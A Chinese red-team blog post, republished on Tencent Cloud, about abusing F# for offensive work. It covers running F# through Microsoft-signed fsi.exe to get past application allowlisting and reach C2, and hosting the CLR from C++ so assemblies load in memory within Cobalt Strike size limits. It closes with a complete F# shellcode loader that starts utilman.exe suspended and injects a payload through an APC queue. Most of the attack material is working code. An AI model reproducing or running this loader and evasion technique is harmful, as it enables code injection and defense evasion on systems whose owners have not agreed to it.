前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >红队技巧之F#利用

红队技巧之F#利用

作者头像
鸿鹄实验室
发布2021-07-06 16:54:11
1.5K0
发布2021-07-06 16:54:11
举报
文章被收录于专栏:鸿鹄实验室

首先,什么是F#?援引微软官方的解释:

F # 是一种函数编程语言,可方便编写正确且可维护的代码。F # 编程主要涉及如何定义自动推断和通用化的类型和函数。这样,你的关注点将保留在问题域上并操作其数据,而不是编程的详细信息。

可能是翻译的缘故,听起来总是很拗口,国内解释如下:

F#是由微软发展的为微软.NET语言提供运行环境的程序设计语言,是函数编程语言(FP,Functional Programming),函数编程语言最重要的基础是Lambda Calculus。它是基于OCaml的,而OCaml是基于ML函 数程式语言。有时F# 和 OCaml 的程式是可以交互编译的。F#已经接近成熟,支援Higher-Order Function、Currying、Lazy Evaluation、Continuations、Pattern Matching、Closure、List Processing、Meta-Programming。这是一个用于显示.NET在不同编程语言间互通的程序设计,可以被.NET中的任意其它代码编 译和调用。F#将被集成在Visual Studio 2010中,含有对.Net Framework的完全支持。

至于为什么要学习F#,其实也是跟C#的道理是一样的,在某些特殊情况下,我们可以利用F#来达到我们的目的,原常景如下:

This customer really locked down their environment with a solid application allowing listing/application control deployment and configuration. All documented LOLBINs were blocked (including old versions), binary modifications were blocked, but standard Microsoft signed binaries could execute. We executed our F# script using fsi.exe (F#'s scripting console) and we successfully established C2 comms. Why did this work in the locked-down environment? Both fsc.exe and fsi.exe are digitally signed by Microsoft.

C#和F#的动态执行程序分别为:csi.exe 和 fsi.exe

但大多数目标皆不会安装F#,虽然我们可以将其依赖的文件进行落地,

  • fsi.exe
  • FSharp.Core.dll
  • FSharp.Compiler.Private.dll
  • FSharp.Compiler.Interactive.Settings.dll
  • Microsoft.Build.Utilities.Core.dll

但这也违背常见的攻击规则:

我们可以在编译是使用--standalone选项或者vs进行静态编译来打包所需的文件,但会导致我们的文件过大,而无法在Cs之类的工具中内存加载

By default, Cobalt Strike’s Beacon payload sends data back to Cobalt Strike’s team server with an HTTP POST request. In this default, the Beacon payload embeds its encrypted data into the body of the POST request. Here, the limit is again, 1MB. If you’re downloading a file, Beacon will deliver it in 512KB pieces. This 1MB limit is enough to send a 512KB file piece and some output in one HTTP POST request.

但这并不意味着我们便无法在内存中运行我们的F#程序,我们可以使用非托管代码的方法来运行任意的我们的F#程序。比较好的demo就是:

https://github.com/etormadiv/HostingCLR 也就是用非托管来加载CLR实现内存加载。

实现过程如下:

1.将CLR加载到进程中:调用CLRCreateInstance函数以获取ICLRMetaHost或ICLRMetaHostPolicy接口,调用ICLRMetaHost的方法来获取有效的ICLRRuntimeInfo指针。

调用ICorRuntimeHost或者ICLRRuntimeHost

2.加载.NET程序集并调用静态方法

3.清理CLR

demo如下:

代码语言:javascript
复制
#include <iostream>
#include <metahost.h>
#include <corerror.h>
#pragma comment(lib, "mscoree.lib")


int main()
{
    ICLRMetaHost* metaHost = NULL;
    ICLRRuntimeInfo* runtimeInfo = NULL;
    ICLRRuntimeHost* runtimeHost = NULL;
    DWORD pReturnValue;


    CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost);
    metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo);
    runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost);
    runtimeHost->Start();
    HRESULT res = runtimeHost->ExecuteInDefaultAppDomain(L"C:\\labs\\CLRHello1\\CLRHello1\\CLRHello1\\bin\\Debug\\CLRHello1.exe", L"CLRHello1.Program", L"spotlessMethod", L"test", &pReturnValue);
    if (res == S_OK)
    {
        std::cout << "CLR executed successfully\n";
    }
    
    runtimeInfo->Release();
    metaHost->Release();
    runtimeHost->Release();
    return 0;
}

C#代码如下:

代码语言:javascript
复制
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;


namespace CLRHello1
{
    class Program
    {
        static void Main(string[] args)
        {
            return;   
        }
        
        // important: methods called by ExecuteInDefaultAppDomain need to stick to this signature
        static int spotlessMethod(String pwzArgument)
        {
            Console.WriteLine("Hi from CLR");
            return 1;
        }
    }
}

但此时还是无法解决依赖问题,除非打包依赖进去。且在存在参数是还会存在pMethodInfo->Invoke_3问题。

https://github.com/etormadiv/HostingCLR/issues/4

而这些问题可以通过下面的文章来进行解决:

https://offensivedefence.co.uk/posts/assembly-resolve/

https://redteamer.tips/a-tale-of-net-assemblies-cobalt-strike-size-constraints-and-reflection/

参数解决如下:

代码语言:javascript
复制
VARIANT args;
args.vt = VT_ARRAY | VT_BSTR;
SAFEARRAYBOUND argsBound[1];
argsBound[0].lLbound = 0;
argsBound[0].cElements = argc;
args.parray = SafeArrayCreate(VT_BSTR, 1, argsBound);
long idx[1];
for (int i = 0; i < argc; i++)
{
idx[0] = i;
SafeArrayPutElement(args.parray, idx, SysAllocString(argv[i]));
}
SAFEARRAY *params = NULL;
SAFEARRAYBOUND paramsBound[1];
paramsBound[0].lLbound = 0;
paramsBound[0].cElements = 1;
params = SafeArrayCreate(VT_VARIANT, 1, paramsBound);
idx[0] = 0;
SafeArrayPutElement(params, idx, &args);

//finally
hr = pMethodInfo->Invoke_3(obj, params, &retVal);

dll问题,比如Fsharp.Core.dll:

代码语言:javascript
复制
AssemblyResolver::AssemblyResolver()
{

  System::AppDomain^ currentDomain = System::AppDomain::CurrentDomain;

  currentDomain->AssemblyResolve += gcnew System::ResolveEventHandler(
    this, &AssemblyResolver::AssemblyResolve);
}

System::Reflection::Assembly^ AssemblyResolver::AssemblyResolve(System::Object^ sender, System::ResolveEventArgs^ args)
{
  using namespace System;
  const char* name = (const char*)(Marshal::StringToHGlobalAnsi(args->Name)).ToPointer();

  bool isOurApiAssembly = args->Name->StartsWith("FSharp");
  if (!isOurApiAssembly) {
    printf("Not loading assembly, only FSharp can be resolved");
    return nullptr;
  }

  array<System::Byte>^ byteArray = gcnew array<System::Byte>(RAW_FSHARP_LENGTH + 2);
  Marshal::Copy((System::IntPtr)fsharpCore, byteArray, 0, RAW_FSHARP_LENGTH);

  return System::Reflection::Assembly::Load(byteArray);

}

win32调用

与C#类似,都是利用P/Invoke的的方法进行win32的调用。C#版本如下:

代码语言:javascript
复制
using System;
using System.Runtime.InteropServices;

public class Program
{
    // Import user32.dll (containing the function we need) and define
    // the method corresponding to the native function.
    [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);

    public static void Main(string[] args)
    {
        // Invoke the function as a regular managed method.
        MessageBox(IntPtr.Zero, "Command-line message box", "Attention!", 0);
    }
}

F#的则如下:

代码语言:javascript
复制
// Learn more about F# at http://fsharp.org

open System
open System.Runtime.InteropServices

[<DllImport "user32.dll">]
extern uint32 MessageBox(nativeint hWnd ,string lpText,string lpCaption,uint32 uType)

[<EntryPoint>]
let main argv =
    MessageBox(IntPtr.Zero,"Offensive F# !!!","F#",(uint32)0)
    0 // return an integer exit code

附一个F#的shellcode loader:

代码语言:javascript
复制
open System
open System.Runtime.InteropServices
open System.Diagnostics

[<DllImport "kernel32" >]
extern nativeint VirtualAllocEx(
  nativeint     hProcess,
  nativeint         lpStartAddress,
  uint32            dwSize, 
  uint32            flAllocationType, 
  uint32          flProtect)

[<DllImport "kernel32" >]
extern nativeint CreateRemoteThread(
  nativeint      hProcess,
  int            lpThreadAttributes,
  uint32         dwStackSize, 
  nativeint      lpStartAddress, 
  nativeint      lpParam,
  uint32         dwCreationFlags,
  nativeint      lpThreadId)

[<DllImport "kernel32" >]
extern bool WriteProcessMemory(
  nativeint hProcess,
  nativeint lpBaseAddress,
  byte[] lpBuffer,
  uint32 nSize,
  nativeint& lpNumberOfBytesWritten)

[<Struct>]
[<StructLayout(LayoutKind.Sequential)>]
type STARTUPINFO = 
  val mutable cb: uint32
  val mutable lpReserved: string
  val mutable lpDesktop : string 
  val mutable lpTitle : string
  val mutable dwX : uint32
  val mutable dwY : uint32
  val mutable dwXSize : uint32
  val mutable dwYSize : uint32
  val mutable dwXCountChars : uint32
  val mutable dwYCountChars : uint32
  val mutable dwFillAttribute : uint32
  val mutable dwFlags : uint32
  val mutable wShowWindow : int16
  val mutable cbReserved2 : int16
  val mutable lpReserved2 : nativeint 
  val mutable hStdInput : nativeint 
  val mutable hStdOutput : nativeint 
  val mutable hStdError : nativeint  

[<Struct>]
[<StructLayout(LayoutKind.Sequential)>]
type P_INFORMATION = 
  val mutable hProcess : nativeint
  val mutable hThread : nativeint
  val mutable dwProcessId : uint32
  val mutable dwThreadId : uint32

[< DllImport "kernel32" >]
extern bool CreateProcess(
  string lpApplicationName,
  string lpCommandLine,
  nativeint lpProcessAttributes,
  nativeint lpThreadAttributes,
  bool bInheritHandles,
  uint32 dwCreationFlags,
  nativeint lpEnvironment,
  string lpCurrentDirectory,
  STARTUPINFO& lpStartupInfo,
  P_INFORMATION& lpProcessInformation)

[<Flags>]
type ProcessCreationFlags = 
  | ZERO_FLAG = 0x00000000u
  | CREATE_BREAKAWAY_FROM_JOB = 0x01000000u
  | CREATE_DEFAULT_ERROR_MODE = 0x04000000u
  | CREATE_NEW_CONSOLE = 0x00000010u
  | CREATE_NEW_PROCESS_GROUP = 0x00000200u
  | CREATE_NO_WINDOW = 0x08000000u
  | CREATE_PROTECTED_PROCESS = 0x00040000u
  | CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000u
  | CREATE_SEPARATE_WOW_VDM = 0x00001000u
  | CREATE_SHARED_WOW_VDM = 0x00001000u
  | CREATE_SUSPENDED = 0x00000004u
  | CREATE_UNICODE_ENVIRONMENT = 0x00000400u
  | DEBUG_ONLY_THIS_PROCESS = 0x00000002u
  | DEBUG_PROCESS = 0x00000001u
  | DETACHED_PROCESS = 0x00000008u
  | EXTENDED_STARTUPINFO_PRESENT = 0x00080000u
  | INHERIT_PARENT_AFFINITY = 0x00010000u

[<Flags>]
type PagePermissionFlags =
  | MEM_COMMIT = 0x1000u
  | PAGE_EXECUTE_READ = 0x20u
  | PAGE_READWRITE = 0x04u

[< DllImport "kernel32" >]
extern bool VirtualProtectEx(nativeint hProcess, nativeint lpAddress,
           uint32 dwSize, uint32 flNewProtect, uint32& lpflOldProtect)

[< DllImport "kernel32" >]
extern nativeint OpenThread(int dwDesiredAccess, bool bInheritHandle, int dwThreadId)

[< DllImport "kernel32" >]
extern nativeint QueueUserAPC(nativeint pfnAPC, nativeint hThread, nativeint dwData)

[< DllImport "kernel32" >]
extern uint32 ResumeThread(nativeint hThread)


let mutable sInfo =  new STARTUPINFO();;
let mutable pInfo =  new P_INFORMATION();;
let mutable ans : bool = CreateProcess(@"C:\Windows\SysWOW64\utilman.exe", null, (nativeint)0, (nativeint)0, false, (uint32)(ProcessCreationFlags.CREATE_SUSPENDED + ProcessCreationFlags.CREATE_NO_WINDOW), (nativeint)0, null,  &sInfo, &pInfo);


let mutable sc : byte[] = [|$PAYLOAD_X86$|]
let mutable outSize = new nativeint()
let address = VirtualAllocEx(pInfo.hProcess, (nativeint)0, (uint32)sc.Length, (uint32)0x1000, (uint32)0x04)
let mutable jj : bool = WriteProcessMemory(pInfo.hProcess, address, sc, (uint32)sc.Length,  &outSize)
let mutable outZero : uint32 = Unchecked.defaultof<uint32>
jj = VirtualProtectEx(pInfo.hProcess, address, (uint32)sc.Length, (uint32)0x20, &outZero)

let proc : Process = Process.GetProcessById((int)pInfo.dwProcessId)
let procThreads : ProcessThreadCollection = proc.Threads
let thrd : nativeint = OpenThread(0x0010, false, procThreads.[0].Id)
let jb : nativeint = QueueUserAPC(address,thrd,IntPtr.Zero)
let rezthread : nativeint = pInfo.hThread
ResumeThread(rezthread)

后记:F#作为和C#类似的语言,其很多特性都与C#类似,个人感觉没必要去深入学习,笔者也仅仅是花了几个小时来掌握其win32的使用并未深入学习,但可以作为一个备选项,在某些特殊情况下进行利用。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-06-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档